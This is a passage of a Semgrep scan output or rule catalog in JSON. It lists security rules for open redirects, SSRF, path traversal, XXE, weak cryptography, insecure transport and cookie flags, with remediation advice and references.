[https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse](https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","id":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","name":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf","id":"csharp.lang.security.ssrf.rest-client.ssrf","name":"csharp.lang.security.ssrf.rest-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.rest-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"help":{"markdown":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","id":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","name":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n - [https://www.npmjs.com/package/got](https://www.npmjs.com/package/got)\n - [https://www.npmjs.com/package/node-rest-client](https://www.npmjs.com/package/node-rest-client)\n","text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","id":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","name":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe","id":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","name":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","id":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","name":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"help":{"markdown":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","id":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","name":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","id":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","name":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep 